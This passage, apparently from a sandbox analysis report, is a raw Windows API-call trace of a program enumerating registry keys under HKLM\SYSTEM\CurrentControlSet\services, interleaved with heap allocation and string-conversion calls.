CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x5a1460, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0028.214] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1418 [0028.214] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1460) returned 1 [0028.214] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1418) returned 1 [0028.214] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a2e28) returned 1 [0028.214] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x502850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0028.214] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x5a2e28 [0028.214] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0028.214] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1418 [0028.214] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x5a1418, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0028.214] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1460 [0028.214] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1418) returned 1 [0028.214] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1460) returned 1 [0028.214] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a2e28) returned 1 [0028.214] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x502850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0028.214] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x5a2e28 [0028.214] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0028.214] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1460 [0028.214] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x5a1460, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0028.214] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1418 [0028.214] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1460) returned 1 [0028.214] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1418) returned 1 [0028.214] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a2e28) returned 1 [0028.215] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x34f3e8 | out: phkResult=0x34f3e8*=0x148) returned 0x0 [0028.215] RegCloseKey (hKey=0x80000002) returned 0x0 [0028.215] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x502850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0028.215] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x5a2e28 [0028.215] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0028.215] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1418 [0028.215] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x5a1418, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0028.215] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1460 [0028.215] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1418) returned 1 [0028.215] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1460) returned 1 [0028.215] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a2e28) returned 1 [0028.215] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x502850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0028.215] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x5a2e28 [0028.215] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0028.215] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1460 [0028.215] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x5a1460, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0028.215] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1418 [0028.215] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1460) returned 1 [0028.215] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1418) returned 1 [0028.215] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a2e28) returned 1 [0028.215] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x502850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0028.215] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x5a2e28 [0028.215] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0028.215] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1418 [0028.215] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x5a1418, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0028.215] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1460 [0028.215] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1418) returned 1 [0028.215] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1460) returned 1 [0028.216] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a2e28) returned 1 [0028.216] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x502850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0028.216] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x5a2e28 [0028.216] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0028.216] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1460 [0028.216] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x5a1460, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0028.216] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1418 [0028.216] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1460) returned 1 [0028.216] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1418) returned 1 [0028.216] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a2e28) returned 1 [0028.216] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x502850, cchName=0x104 | out: lpName="Select") returned 0x0 [0028.216] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x5a2e28 [0028.216] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0028.216] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1418 [0028.216] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x5a1418, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0028.216] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1460 [0028.216] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1418) returned 1 [0028.216] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1460) returned 1 [0028.216] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a2e28) returned 1 [0028.216] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5, lpName=0x502850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0028.216] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x5a2e28 [0028.216] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0028.216] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1460 [0028.216] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x5a1460, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0028.216] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1418 [0028.216] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1460) returned 1 [0028.216] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1418) returned 1 [0028.217] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a2e28) returned 1 [0028.217] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6, lpName=0x502850, cchName=0x104 | out: lpName="Software") returned 0x0 [0028.217] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x5a2e28 [0028.217] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0028.217] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1418 [0028.217] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x5a1418, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0028.217] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1460 [0028.217] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1418) returned 1 [0028.217] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1460) returned 1 [0028.217] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a2e28) returned 1 [0028.217] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7, lpName=0x502850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0028.217] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x5a2e28 [0028.217] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0028.217] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1460 [0028.217] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x5a1460, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0028.217] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1418 [0028.217] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1460) returned 1 [0028.217] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1418) returned 1 [0028.217] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a2e28) returned 1 [0028.217] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8, lpName=0x502850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0028.217] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x5a2e28 [0028.217] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0028.217] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1418 [0028.217] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x5a1418, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0028.217] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1460 [0028.218] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1418) returned 1 [0028.218] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1460) returned 1 [0028.218] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a2e28) returned 1 [0028.218] RegOpenKeyExW (in: hKey=0x148, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x34f3e8 | out: phkResult=0x34f3e8*=0x9c) returned 0x0 [0028.218] RegCloseKey (hKey=0x148) returned 0x0 [0028.218] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x0, lpName=0x502850, cchName=0x104 | out: lpName="Control") returned 0x0 [0028.218] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x5a2e28 [0028.218] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0028.218] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1460 [0028.218] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x5a1460, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0028.218] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1418 [0028.218] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1460) returned 1 [0028.218] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1418) returned 1 [0028.218] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a2e28) returned 1 [0028.218] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x1, lpName=0x502850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0028.218] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x5a2e28 [0028.218] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0028.218] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1418 [0028.218] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x5a1418, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0028.218] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1460 [0028.218] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1418) returned 1 [0028.218] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1460) returned 1 [0028.218] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a2e28) returned 1 [0028.218] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x2, lpName=0x502850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0028.218] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x5a2e28 [0028.218] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0028.218] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1460 [0028.218] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x5a1460, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0028.219] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1418 [0028.219] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1460) returned 1 [0028.219] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1418) returned 1 [0028.219] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a2e28) returned 1 [0028.219] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x3, lpName=0x502850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0028.219] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x5a2e28 [0028.219] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0028.219] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1418 [0028.219] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x5a1418, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0028.219] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1460 [0028.219] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1418) returned 1 [0028.219] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1460) returned 1 [0028.219] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a2e28) returned 1 [0028.219] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x4, lpName=0x502850, cchName=0x104 | out: lpName="services") returned 0x0 [0028.219] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x5a2e28 [0028.219] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0028.219] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1460 [0028.219] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x5a1460, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0028.219] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1418 [0028.219] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1460) returned 1 [0028.219] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1418) returned 1 [0028.219] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a2e28) returned 1 [0028.219] RegOpenKeyExW (in: hKey=0x9c, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x34f3e8 | out: phkResult=0x34f3e8*=0x148) returned 0x0 [0028.219] RegCloseKey (hKey=0x9c) returned 0x0 [0028.219] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x502850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0028.219] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x5a2e28 [0028.219] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0028.219] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1418 [0028.219] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x5a1418, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0028.220] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1460 [0028.220] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1418) returned 1 [0028.220] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1460) returned 1 [0028.220] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a2e28) returned 1 [0028.220] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x502850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0028.220] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x5a2e28 [0028.220] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0028.220] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1460 [0028.220] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x5a1460, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0028.220] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1418 [0028.220] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1460) returned 1 [0028.220] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1418) returned 1 [0028.220] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a2e28) returned 1 [0028.220] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x502850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0028.220] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x5a2e28 [0028.220] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0028.220] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1418 [0028.220] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x5a1418, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0028.220] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1460 [0028.220] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1418) returned 1 [0028.220] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1460) returned 1 [0028.220] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a2e28) returned 1 [0028.220] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x502850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0028.220] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x5a2e28 [0028.220] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0028.220] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1460 [0028.220] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x5a1460, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0028.220] 